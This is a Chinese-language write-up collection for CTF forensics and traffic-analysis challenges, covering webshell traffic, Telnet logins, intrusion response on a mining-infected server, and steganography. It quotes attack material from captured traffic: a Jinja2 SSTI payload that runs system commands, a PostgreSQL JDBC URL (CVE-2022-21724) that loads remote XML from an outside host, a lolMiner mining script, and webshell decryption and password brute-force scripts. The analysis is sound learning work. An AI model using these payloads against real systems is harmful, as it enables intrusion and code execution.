tcp.connection.synack 主要用于筛选出 服务器端响应的 SYN-ACK 包,这些包表明服务器接收到连接请求,并准备建立连接

image-20250325180554647

可以看到开放的端口有80,88,8888


[陇剑杯 2023]hard_web_2

哥斯拉流量分析

参考文章:【流量分析】Godzilla分析_哥斯拉流量特征-CSDN博客

服务器中根目录下的flag值是多少

选中http进行追踪流,会发现前面都是404,只有后面几个是200,选中第一个200进行追踪流

image-20250325191717700

可以发现在流20046里面已经开始进行命令执行了,目录里面有个flag

image-20250325191811342

流20049里面上传了shell.jsp文件,那些命令执行都是通过shell.jsp进行的

第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie

image-20250325192005648

image-20250325192113470

第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie值,并且第2个请求中只有少量的数据,cookie还是有分号的,可以确定这就是哥斯拉流量

image-20250325192737676

这个流看代码也能看出是哥斯拉流量,密钥是:748007e861908c03

image-20250325193836652

这些都是被加密后的数据,在流20053的相应包中返回的数据进行解密,显示为原始数据

image-20250325193943151

解密脚本:

from Crypto.Cipher import AES
import binascii
import zlib

# 密钥,与 JSP 代码中的密钥相同
key = b'748007e861908c03'

# 要解密的加密数据(十六进制形式)
encrypted_hex_data = "b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa"

def decode(data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_data = cipher.decrypt(data)
    return decrypted_data

def ungzip(in_str):
    s = zlib.decompress(in_str, 16 + zlib.MAX_WBITS).decode()
    print("Decoded and Unzipped:\n", s)

# 将十六进制数据转换为字节序列
encrypted_bytes = bytes.fromhex(encrypted_hex_data)

# 解密数据并解压缩
decrypted_data = decode(encrypted_bytes, key)
ungzip(decrypted_data)

20053请求包解密出来是:

image-20250325194043643

查看flag,相应包是

image-20250325194119893


[陇剑杯 2023]hard_web_3

哥斯拉密码暴力破解

该webshell的连接密码是多少

在加了密的数据里找,找到一个key

image-20250325194957903

哥斯拉加密流量中的key是密码的md5值的前16位或后16位,暴力破解

import itertools
import hashlib

def generate_passwords():
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    for chars in itertools.product(charset, repeat=4):  # 4个未知字符
        yield '1' + ''.join(chars) + 'y'

def check_password(password, target_hash):
    hashed = hashlib.md5(password.encode()).hexdigest()
    return hashed[:16] == target_hash or hashed[-16:] == target_hash

target_hash = "748007e861908c03"

for password in generate_passwords():
    if check_password(password, target_hash):
        print(f"Password found: {password}")
        break

得到密码:14mk3y


[陇剑杯 2023]WS(一)

被入侵主机的IP是?

IP统计

image-20250326113343128

看Count次数,可知服务器IP是192.168.246.28,客户端是192.168.246.1


[陇剑杯 2023]WS(二)(新)

Telnet协议

参考文章:Telnet协议详解:原理、连接与工作方式-CSDN博客

实验四 口令破解_怎么找被入侵主机的口令-CSDN博客

被入侵主机的口令是?

协议分级

image-20250326185059890

Telnet协议:

Telnet协议是一种最早的internet应用,telnet协议提供了一种通过终端远程登录到服务器的方式,呈现一个交互式操作界面,用户可以先登录到一台主机,然后再通过telnet的方式远程登录到网络上的其他主机上,而不需要为每一台主机都连接一个硬件终端,然后对设备进行配置和管理

选中Telnet协议,进行追踪流

image-20250326190028629

可以看到password,并且下面显示登陆成功了,所以口令就是youcannevergetthis


[陇剑杯 2023]WS(三)

telnet协议执行命令

用户目录下第二个文件夹的名称是?

image-20250327105957871

.]0;ctf@ubuntu: ~..[01;32mctf@ubuntu.[00m:.[01;34m~.[00m$ 
l
l
s
s
  • 含义:用户输入命令的过程,包含以下内容:
    • 终端提示符ctf@ubuntu: ~$ 是Bash提示符,包含:
      • .]0;ctf@ubuntu: ~.:终端标题(通过ANSI转义码设置)。
      • [01;32m:设置文本颜色为绿色(32)和粗体(01)。
      • [01;34m:设置目录名颜色为蓝色(34)。
      • [00m:重置颜色样式。
    • 用户输入:用户输入ls命令时,可能因Telnet逐字符传输或用户误操作导致重复字符(ls各输入两次)。
.[0m.[01;34mDesktop.[0m    .[01;34mDownloads.[0m ... 
  • 含义ls命令的输出结果,显示当前目录下的文件和文件夹:
    • [01;34m:目录名用蓝色显示(如DesktopDownloads)。
    • [0m:重置颜色样式。
    • 实际内容:用户主目录下的标准文件夹(如DesktopDocuments等)。

后面的类似,执行cat /etc/passwd

通过上面的分析可以知道第二个文件夹是downloads


[陇剑杯 2023]WS(四)

/etc/passwd中倒数第二个用户的用户名是?

上一题分析到执行了命令cat /etc/passwd

image-20250327110619669

之前遇到过这个passwd文件,也了解了每个参数的含义,这里可以看到是mysql


[陇剑杯 2023]IR(一)(新)

参考文章:2023第二届陇剑杯网络安全大赛 预选赛Writeup_第二届“陇剑杯”网络安全大赛线上赛write up2023、-CSDN博客

你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统

挖矿程序所在路径是?

挖矿程序

用于在计算机或网络中执行加密货币挖矿任务的软件。其主要功能是通过计算哈希值来验证区块链中的交易,参与挖掘过程,进而获得加密货币奖励(如比特币、以太坊等)。挖矿过程需要大量的计算资源(CPU、GPU、内存等),因此,恶意的挖矿软件通常会在受害者计算机上未经授权地运行,以窃取系统资源用于挖矿

查看root用户下最近更新过的文件记录

image-20250328094458959

.bash_history:

image-20250328094825874

有修改,但是没有挖矿痕迹

.viminfo:

image-20250328120538042

有很多对redis配置进行修改的操作,去/etc/redis看看

redis.conf:

image-20250328121155197

url搜一下:

image-20250328123721032

所以挖矿程序就是redis

挖矿操作需要修改 Redis 配置的主要原因是通过利用 Redis 的安全漏洞或弱配置,攻击者能够植入并持久化挖矿程序

为什么必须修改 Redis 配置?

  • 绕过文件权限限制
    Redis 默认以 rootredis 用户运行,通过修改持久化目录,攻击者可向高权限目录写入文件(如定时任务、SSH 密钥)。
  • 实现持久化
    直接写入定时任务或启动脚本,确保挖矿程序在服务器重启后仍能自动运行。
  • 隐藏恶意行为
    通过 Redis 的合法操作掩盖痕迹,避免被常规监控工具发现。

image-20250328123946969


[陇剑杯 2023]IR(二)

矿池域名

挖矿程序连接的矿池域名是

域名就是上一题找到的url:

donate.v2.xmrig.com

image-20250328123701900


[陇剑杯 2023]IR(三)

攻击者入侵服务器的利用的方法是

/home/app 目录下的 nohup.log 文件通常是某个通过 nohup 命令启动的后台进程的日志文件,记录了该进程的标准输出(stdout)和标准错误(stderr)

image-20250328130233575

有rememberMe字眼

shiro反序列化

shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

特征:cookie中含有rememberMe字段

shiro反序列化漏洞原理分析以及漏洞复现 - FreeBuf网络安全行业门户

image-20250328131540586


[陇剑杯 2023]IR(四)

攻击者的IP是?

攻击者植入了挖矿程序,所以肯定登陆过服务器,可以用last查看登录记录

image-20250328132143172

或者是查看nginx中的访问日志,tail /var/log/nginx/access.log

tail 用于显示文件的 最后几行,默认情况下会显示 最后 10 行

image-20250328132350369

81.70.166.3


[陇剑杯 2023]IR(五)

攻击者发起攻击时使用的User-Agent是

image-20250328132350369

mozilla/5.0 (compatible;baiduspider/2.0; +http://www.baidu.com/search/spider.html


[陇剑杯 2023]IR(六)

攻击者使用了两种权限维持手段,相应的配置文件路径是?

image-20250328135705236

/root/.ssh 目录包含 root 用户的 SSH 配置和密钥文件,其中包括:

  • id_rsa(私钥)
  • id_rsa.pub(公钥)
  • authorized_keys(允许访问的公钥)
  • known_hosts(已经连接过的主机的公钥)
  • config(用户的 SSH 配置)

里面有authorized_keys文件并且不为空,攻击者用root进行ssh私钥登录

image-20250328140533387


[陇剑杯 2023]IR(七)

攻击者使用了两种权限维持手段,相应的配置文件路径是?

/lib/systemd/system/ 目录在 Linux 系统中主要用于存放 系统级(默认)服务的 Systemd 单元文件。这些文件用于定义 如何启动、停止、重启、管理系统服务,比如 Redis、Nginx、MySQL、Docker 等

image-20250328142032773

这里一直在重启redis,之前的分析知道挖矿程序就是redis,所以这里就是一直在植入挖矿程序

image-20250328142238014


[陇剑杯 2023]Hacked(一)

流量解密

admIn用户的密码是什么?

协议分级选中http,进行追踪流

image-20250327122954299

这里看到javascript代码,有

  • 使用AES-CBC模式加密(密钥硬编码在JS中)

  • 加密密钥:l36DoqKUYQP0N7e1

  • 初始化向量(IV):131b0c8a7a6e072e

  • 对用户名和密码分别进行加密后传输

  • 请求方法:POST

  • 目标路径:/register

  • Content-Type:application/x-www-form-urlencoded (默认)

  • 请求体格式:username=<加密字符串>&password=<加密字符串>

image-20250328152100925

在流57里面发现admIn登陆成功了,回去一个流看

image-20250328152136615

拿这个解密

image-20250328152213703


[陇剑杯 2023]Hacked(二)

app.config[‘SECRET_KEY’]值为多少?

在流68里面发现

image-20250328152526743

app.config['SECRET_KEY'] 是 Flask 框架中的一个配置项,通常用于 加密会话数据、保护表单、生成加密令牌 等安全相关的用途

Flask 中 SECRET_KEY 的作用

SECRET_KEY 主要用于:
保护 Flask 会话(Session)数据

  • Flask 默认使用客户端 Cookie 存储会话数据,SECRET_KEY 负责加密和签名这些数据,防止篡改。

保护 CSRF 令牌(如果启用了 Flask-WTF):

  • Web 表单通常需要 CSRF 令牌来防止跨站请求伪造(CSRF)攻击,SECRET_KEY 负责生成安全的 CSRF 令牌。

加密 JWT 令牌(如果使用 Flask-JWT 或 Flask-JWT-Extended):

  • SECRET_KEY 也可用于生成和验证 JSON Web Token (JWT),确保令牌的安全性。

加密签名 Cookies

  • Flask 使用 SECRET_KEY 来为 Cookies 添加签名,防止篡改。

SECRET_KEY 的示例

python复制编辑from flask import Flask, session

app = Flask(__name__)

# 设置 SECRET_KEY
app.config['SECRET_KEY'] = 'your_secret_key_here'  # 生产环境应该用更安全的密钥!

@app.route('/')
def index():
    session['username'] = 'admin'  # 需要 SECRET_KEY 来加密
    return "Session 已存储"

if __name__ == '__main__':
    app.run(debug=True)

在这个例子里,session['username'] = 'admin' 需要 SECRET_KEY 进行加密存储。

Flask

Flask 是一个 轻量级的 Python Web 框架,用于构建 Web 应用。它设计简洁,易于扩展,适合快速开发 Web 服务和 API。

基本示例:

app.py:

from flask import Flask

app = Flask(__name__)

@app.route('/')  # 访问 http://127.0.0.1:5000/ 时执行
def home():
    return "Hello, Flask!"

if __name__ == '__main__':
    app.run(debug=True)  # 启动 Flask 服务器

运行app.py:

python app.py

访问http://127.0.0.1:5000/便会看到Hello, Flask!


[陇剑杯 2023]Hacked(三)

SSTI语句;JWT

flask网站由哪个用户启动?

上一题说了SECRET_KEY可以加密JWT令牌,所以也能解密JWT

JWT特征

JWT 由 三个部分 组成:

  1. Header(头部)(Base64 编码)
  2. Payload(有效载荷)(Base64 编码)
  3. Signature(签名)(用于验证数据完整性)

在流76发现JWT

image-20250328154933246

拿去解密得到:

image-20250328154833247

请求包:

{
    "username": "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"
}

这里的 username 字段包含了 Jinja2 模板代码,利用 session.update()whoami 命令的执行结果存入 session['flag']

如果 Flask 服务器 直接渲染username 变量,Jinja2 会解析 username 里的 SSTI 代码:

{% if session.update({'flag': lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()}) %}{% endif %}

分析代码

  • lipsum['__globals__']:访问 Jinja2 的全局变量。
  • __getitem__('os'):获取 Python os 模块。
  • popen('whoami').read():执行 whoami 命令并读取输出。
  • session.update({'flag': ... }):把 whoami 结果存入 session['flag']

响应包:

{
    "flag": "red\n",
    "username": "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"
}

flag: "red\n"

  • 说明 whoami 命令的执行结果是 "red",表示当前服务器运行的用户是 red

username 仍然包含 SSTI 代码

  • 说明服务器 没有过滤掉模板代码,仍然返回了原始 payload。

[陇剑杯 2023]Hacked(四)

攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

Flask 的核心概念

(1) 路由(Routing)

路由决定了 URL 对应哪个函数 处理请求:

@app.route('/hello/<name>')  # 访问 /hello/xxx 时触发
def hello(name):
    return f"Hello, {name}!"

访问 http://127.0.0.1:5000/hello/Tom,会返回 "Hello, Tom!"


(2) 请求处理(Request Handling)

Flask 允许处理不同的 HTTP 方法(GET、POST 等):

from flask import request

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        return f"Welcome, {username}!"
    return "Please log in."

表单提交时,可以用 request.form 读取数据。


(3) 模板渲染(Jinja2)

Flask 内置 Jinja2 模板引擎,可以用 HTML 渲染页面:

from flask import render_template

@app.route('/welcome/<name>')
def welcome(name):
    return render_template('welcome.html', name=name)

templates/welcome.html:

<!DOCTYPE html>
<html>
<head><title>Welcome</title></head>
<body>
    <h1>Hello, {{ name }}!</h1>
</body>
</html>

访问 /welcome/Tom,页面会显示 Hello, Tom!


Flask 提供 session 存储 用户登录状态(需要 SECRET_KEY):

from flask import session

app.config['SECRET_KEY'] = 'mysecretkey'

@app.route('/set_session')
def set_session():
    session['username'] = 'admin'
    return "Session set!"

@app.route('/get_session')
def get_session():
    return f"Logged in as {session.get('username')}"

(5) 数据库(Flask-SQLAlchemy)

Flask 可以使用 SQLAlchemy 连接数据库:

pip install flask-sqlalchemy
python复制编辑from flask_sqlalchemy import SQLAlchemy

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)

db.create_all()  # 创建数据库表

流81:

image-20250328160958507

拿去解密

image-20250328161221728

"app.add_url_rule('/Index', 'Index', lambda :'Hello! 123')"

  • 这段代码会 动态添加 一个新的 Flask 路由:
    • '/Index' 是新的路由路径。
    • 'Index' 是 Flask 视图函数的名称。
    • lambda :'Hello! 123' 代表 返回 "Hello! 123" 的简单函数

在下一个流确实返回Hello!123了

image-20250328161029810

所以是Index


[陇剑杯 2023]ez_web(一)

后门文件;文件写入

服务器自带的后门文件名是什么?(含文件后缀)

协议分级,选中http

前面很多都是404,找200的

image-20250328162955153

找POST进行追踪流

image-20250328163028482

这里看到cmd操作但是不是d00r.php

过滤d00r.php

image-20250328163146438

发现第一个有个ViewMore.php

image-20250328163300899

追踪流可以发现是ViewMore.php写入了d00r.php


[陇剑杯 2023]ez_web(二)

内网IP

服务器内网IP是多少?

内网IP(也称为私有IP)是用于局域网(LAN)内部通信的IP地址,不可直接在互联网上路由。它的主要作用是在本地网络(如家庭、企业或数据中心)中标识设备。内网IP范围由国际标准规定,通常包括以下私有地址段:

  • IPv4
    • 10.0.0.0 ~ 10.255.255.255(10.0.0.0/8)
    • 172.16.0.0 ~ 172.31.255.255(172.16.0.0/12)
    • 192.168.0.0 ~ `192.168.255.255`(192.168.0.0/16`)
  • IPv6
    • fc00::/7(ULA地址,类似IPv4的私有IP)。

流10098里面有

image-20250328165734884

ens33ens38 都属于内网IP地址(均在 192.168.0.0/16 的私有地址段)

这里去交答案的话会发现答案是ens38


[陇剑杯 2023]ez_web(三)

攻击者往服务器中写入的key是什么?

image-20250328170849000

这里写入了一个k3y_f1le文件

拿去base64解密会得到zip文件

image-20250328171026727

但是打开要密码,想起了在之前的流里面看到了cmd执行查看密码的操作

image-20250328171327136

压缩包密码就是:7e03864b0db7e6f9

打开得到flag


[陇剑杯 2023]SmallSword(一)

连接蚁剑的正确密码是______________?

协议分级选中http

在流127发现蚁剑流量

image-20250328174006531

最开始的那一段就是连接密码:6ea280898e404bfabd0ebb702327b19f


[陇剑杯 2023]SmallSword(二)

攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

后面的流都差不多,一个个找一个个解

image-20250328175421600

流142里面的两段字符串,解密得到:

image-20250328175511326

答案是:ad6269b7-3ce2-4ae8-b97f-f259515e7a91


[陇剑杯 2023]SmallSword(三)

攻击者下载到的flag是______________?(答案示例:flag3{uuid})

image-20250328191527423

这里回头看协议分级发现除了http也有其他协议,这里选中tcp进行追踪流,在130发现一个很大的exe文件

image-20250328191623356

原始数据保存一下打开会生成一个图片

image-20250328191654841

改一下宽高得到:

image-20250328191715995


[陇剑杯 2023]ez_wiki(一)

攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

协议分级选中http

image-20250329120209849

观察错误的返回的数据包长度都是237,找返回包长度不一样的

包太多了,过滤一下

http&&frame.len!=237

image-20250329121712952

只看POST部分比只过滤http少很多,这里找到返回的数据包为559,是成功的,所以前一个就是爆破成功的

image-20250329121936917


[陇剑杯 2023]ez_wiki(二)

攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)

越权漏洞(Authorization Bypass)

是指攻击者通过绕过正常的访问控制机制,获取未授权的权限或访问受限资源的漏洞。

常见的攻击方式

  • 修改URL参数(如ID、权限等级)
  • 篡改请求数据(POST、PUT等请求参数)
  • 修改Cookie或JWT Token
  • 抓包工具(如Burp Suite)拦截并修改请求

image-20250329123802602

前面的userid一直是2,到后面变成1,题解直接就说是后面1的那个,去问了一下AI,下面是可能的解释:

越权判断依据

  • 如果应用程序未验证 accessToken 是否匹配 userid,那么攻击者只需修改 userid,就能冒充其他用户访问数据或执行操作。
  • 如果服务器仅依据 userid 来确定权限,而不验证 zyplayertoken,则攻击者可以随意修改 userid,从而访问不同账户的数据或管理后台。

如果 userid=1 代表更高级权限(如管理员),攻击者修改 userid=2userid=1,就可能直接获得管理权限(垂直越权)。

如果 userid=1 是另一个普通用户,攻击者通过修改 userid=2userid=1,就能访问其他用户的数据(水平越权)。

f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1

拿去md5


[陇剑杯 2023]ez_wiki(三)

攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

image-20250329133011410

这几个里面有jdbc字眼,选择进行tcp追踪流

image-20250329133112153

在1600里面发现账号和密码


[陇剑杯 2023]ez_wiki(四)

攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

image-20250329152205133

jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml

异常参数解析

  • socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
    通常JDBC的socketFactory用于指定网络套接字实现,但这里指向了一个Spring框架的类ClassPathXmlApplicationContext(用于加载XML配置文件)。这完全不符合合法用途,明显是滥用机制。
  • socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml
    参数指向一个外部服务器的XML文件。结合前面的ClassPathXmlApplicationContext,会导致Spring加载并执行该远程XML文件。

攻击原理

  • 恶意XML远程加载
    Spring的ClassPathXmlApplicationContext会解析指定的XML文件。如果攻击者控制了这个XML,可以通过Spring的SpEL表达式或特定Bean定义注入恶意代码(如执行系统命令)。
  • 远程代码执行(RCE)
    攻击者可能在custom.dtd.xml中植入恶意逻辑,利用Spring的机制在目标服务器上执行任意代码,完全控制服务器。

漏洞CVE-2022-21724:PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)-先知社区

答案:CVE-2022-21724:custom.dtd.xml


[陇剑杯 2023]ez_wiki(五)

给出攻击者获取系统权限后,下载的工具的名称,比如nmap

image-20250329152802524

工具是fscan


[陇剑杯 2023]SS(一)

Spring4Shell(CVE-2022-22965)漏洞

黑客是使用什么漏洞来拿下root权限的

流量包协议分级选中http,追踪流发现:

image-20250329152933871

class.module.classLoader.resources.context.parent.pipeline.first.pattern 是典型的 Spring4Shell(CVE-2022-22965)漏洞利用尝试

Spring Framework远程命令执行复现(CVE-2022-22965)_利 class对象构造利 链,对tomcat的日志配置进行修改,然后,向 志中写 shell-CSDN博客


[陇剑杯 2023]SS(二)

黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

image-20250329155014922

追踪流可以发现反弹shell的ip和端口


[陇剑杯 2023]SS(三)

黑客的病毒名称是什么? 格式为:filename

tar文件里面的\home\guests\目录下有一个main文件,放进010editor会发现是可执行文件

image-20250329162747962

答案是main


[陇剑杯 2023]SS(四)

黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

查看用户名和密码就去/etc/shadow文件找,打开查看

image-20250329162858783

可知最新创建的用户名和密码分别是:ll和123456


[陇剑杯 2023]SS(五)

服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

同第三问一样的目录,在病毒文件夹中有个.log.txt文件,打开即可看到IP

image-20250329164444390


[陇剑杯 2023]SS(六)

在病毒文件夹中有个.idea文件夹,其里面的文件修改时间晚于病毒文件

image-20250329164617018

所以释放的就是这两个文件


[陇剑杯 2023]SS(七)

矿池地址是什么?

上一问的mine_doges.sh打开:

image-20250329165455073

可以看到POOL变量被赋值为doge.millpools.cc:5567

./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
  • 参数解析:
    • --algo ETHASH: 使用以太坊的 ETHASH 算法。
    • --pool $POOL: 矿池地址(需提前定义 POOL 环境变量)。
    • --user $WALLET: 钱包地址(需提前定义 WALLET 环境变量)。
    • $@: 传递运行脚本时输入的所有额外参数。
    • --4g-alloc-size 4024: 为 4GB 显存显卡优化分配 4024MB 显存,规避挖矿限制。
    • --keepfree 8: 保留 8MB 显存供系统使用,避免崩溃。

自动重启:

while [ $? -eq 42 ]; do
    sleep 10s
    ./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
done
  • $? -eq 42: 检查上一个命令(lolMiner)的退出码是否为 42。
    • 如果退出码是 42(例如:网络中断、矿池暂时不可用等可恢复错误),等待 10 秒后重启矿工。
    • 如果退出码不是 42(如正常退出或其他错误),循环终止,脚本结束。

所以矿池地址就是:doge.millpools.cc:5567


[陇剑杯 2023]SS(八)

黑客的钱包地址是多少?格式:xx:xxxxxxxx

image-20250329173318681

同上一问


## [羊城杯 2020]秘密传输

ip.id隐写

流量包,协议分级只有tcp,追踪流会发现就只是一些对话

这里看了题解,隐藏的信息在identification里面

image-20250331180536830

image-20250331180551821

往后面多看几个会发现都是可打印字符,用tshark进行过滤

tshark -r demo.pcap -T fileds ip.id > a.txt

脚本:

import re
import base91
flag=''
f=open('a.txt','r').readlines()
for i in f:
    result=re.findall(r'(0x00[0-9a-z]+)',i)
    for i in result:
        flag+=(chr(int(i,16)))
print(base91.decode(flag)

直接转ascii会发现是base91编码,再加了一个base91解码,得到:flag{wMt84iS06mCbbfuOfuVXCZ8MSsAFN1GA\xfd\xe3\x9f"1w\xe3Aw\xea\xbe\x18\tXV\xb8|\x8f

后面的\xfd\xe3\x9f"1w\xe3Aw\xea\xbe\x18\tXV\xb8|\x8f是重复的,去掉


[GKCTF 2020]Pokémon

gba游戏文件,可以用visualboyadvance打开

进去之后直接看路上的草,形状就是flag

flag{PokEmon_14_CutE}


[GHCTF 2024 新生赛]皆非取证

文件查看;明文密码

本题请提交flag2

内存取证,老样子先看内存摘要

image-20250412110808799

再看文件,搜flag或者ctf字眼

image-20250412110900516

保存打开压缩包要密码,去查看明文密码

image-20250412111153453

密码:mrl64l0v3miku,打开得到flag

flag{My_p4sSw0Rd_YOu_Kn0w_N0w~23bcd63aae90}

这里的密码也可以用lovelymem的mimikatz查看

image-20250412111702849


[GHCTF 2024 新生赛]是名取证

环境变量查看

最重要的Var。本题请提交flag3

既然提到了Var那就有可能是在环境变量当中

image-20250412112343999

找到flag3


[GHCTF 2024 新生赛]佛说取证

IE浏览器记录;文件记录;剪切板

谛听佛的箴言。本题请提交flag1

IE浏览器发现

image-20250412113322245

image-20250412155740193

image-20250412155751794

这三个都有点像,一个个搜本地文件看有没有

image-20250412155937781

只有第三个有,保存一下(不知道为啥这个一保存文件就闪退,这里用李由保存了,

image-20250412160356994

后缀改rar打开文件得到:

佛又曰:栗穆谨皤阇蒙烁伽提蒙室菩佛醯尼娑蒙提卢羯提遮苏室咩钵参哆罚萨菩耶怛楞度萨俱俱穆曳迦遮输呼呼输吉无摩埵参呼阇皤地埵萨钵栗唵阇他吉度吉参埵南无孕摩无摩娑利地漫漫

这里直接解密解不出来,应该是要密钥的

在剪切板里面发现这个

image-20250412160745985

试试

image-20250412160754150

得到flag


[GHCTF 2024 新生赛]real_signin

password is md5((宫廷玉液酒 - (白云 - 黑土) * 小锤) ^ 群英荟萃)

这个是真有脑洞

都是春晚的梗

宫廷玉液酒 = 180
白云 = 71
黑土 = 75
小锤 = 40
群英荟萃 = 80
md5 = hashlib.md5((str((宫廷玉液酒 - (白云 - 黑土) * 小锤) ^ 群英荟萃)).encode()).hexdigest()
print (md5)

md5等于a4f23670e1833f3fdb077ca70bbd5d66,再打开压缩包就拿到flag了

NSSCTF{weLc0me_7o_GHCTF!!!_GLHF}


[GHCTF 2024 新生赛]calc

沙箱逃逸,直接breakpoint()后面啥都能执行了

image-20250412115047508


## [SWPUCTF 2021 新生赛]原来你也玩原神

文件识别;MP3stego

下载的文件是zip后缀但是并不是压缩包文件因为打不开,拿去file一下发现是MP3文件

image-20250416104736621

改一下后缀,去MP3Stego解密,因为没有密码所以直接解密

Decode.exe -X 附件.mp3

image-20250416104832243

得到txt文件,直接记事本预览会发现是pk头,后缀改zip打开压缩包得到flag


[羊城杯 2024]miaoro

shiro反序列化;猫咪字母

参考文章:2024羊城杯-miaoro – S1mh0's Blog

shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_shiro550原理-CSDN博客

http追踪流,发现:

image-20250418105158277

应该是被修改的shiro框架

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化

image-20250418110854255

把cookie中的值拿去工具箱

image-20250418111135427

得到密钥

并且在流7里面发现flag1

image-20250418111609812

flag1/DASCTF{B916CFEB-C40F-45D6-A7BC-

后续的tcp流都是命令执行部分,输入的命令以base64编码形式放在请求头GWHT属性后,执行结果也是同样以base64编码在响应包返回

image-20250418111758670

image-20250418111856905

得到一个密码:Th15_11111111s_pP@sssssw000rd!!!

先留着

后面的流里面发现一个很大的数据

image-20250417221231501

解码发现是倒序的zip

image-20250417221216075

image-20250417221257609

打开要密码,那密码就是之前的,打开得到图:

image-20250418112127675

宽高,jpg一般就是照着大的一边去改

image-20250418112621943

image-20250418112647286

image-20250418112754215

对应出来就是:EBOFDELQDIAA}

DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}


[羊城杯 2024]hiden

rot47;rot13;解密脚本

一个txt文件和一个wav,txt里面的是乱码

image-20250418114508063

文件名是60=()+(),这里看了题解才知道是rot47和rot13加密,因为加起来刚好60

解密:

image-20250418114601315

这段代码实现了一个简单的 音频隐写术(Steganography),将文本文件 flag.txt 的内容隐藏到 WAV 音频文件 test.wav 中,生成新的音频文件 hiden.wav

解密脚本:

import wave


def extract_hidden_data(wav_path):
    with wave.open(wav_path, "rb") as f:
        # 读取音频原始帧数据
        wav_data = bytearray(f.readframes(-1))

    # 提取前3字节(小端序)作为文本长度
    file_len = int.from_bytes(wav_data[0:3], byteorder='little')

    # 计算最大可提取长度(防止溢出)
    max_possible_length = (len(wav_data) // 4) - 3  # 前3字节已被占用
    if file_len > max_possible_length:
        raise ValueError("隐藏数据长度超过音频容量,文件可能已损坏!")

    # 从第4个字节开始,每隔4字节提取一个隐藏字节
    extracted_data = bytearray()
    for i in range(3, 3 + file_len):
        # 隐藏位置:每个文本字节占据音频的第 i*4 的位置
        pos = i * 4
        if pos >= len(wav_data):
            break  # 防止越界
        extracted_data.append(wav_data[pos])

    return extracted_data


# 使用示例
hidden_wav = "hiden.wav"
try:
    flag_data = extract_hidden_data(hidden_wav)
    print("提取到的Flag:", flag_data.decode('utf-8'))
except Exception as e:
    print("提取失败:", str(e))

运行得到flag


[羊城杯 2024]不一样的数据库_2

暴力破解密码;二维码补定位符;rot13;kdbx文件;KeePass Password Safe;AES

压缩包要密码,暴力破解得到:

image-20250418115817663

得到一个png和一个KDBX文件

.kdbx 是密码管理工具 KeePass Password Safe 生成的加密数据库文件,用于安全存储用户的登录凭据(如网站密码、邮箱账户、FTP 信息等)。所有数据通过 AES 和 Twofish 算法加密,需主密码或密钥文件才能解密。

使用官方软件 KeePass Password Safe打开

image-20250418120241556

png补全定位符扫出来得到:NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU

image-20250418120857204

密码:AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH

image-20250418121220660

这里也能得到一个信息就是密钥是DASCTF

双击进去

image-20250418121531624

image-20250418121552922

加盐的,用密钥解密

image-20250418121722448


[羊城杯 2024]Check in

文件识别;base58;westego;identify

image-20250418122055334

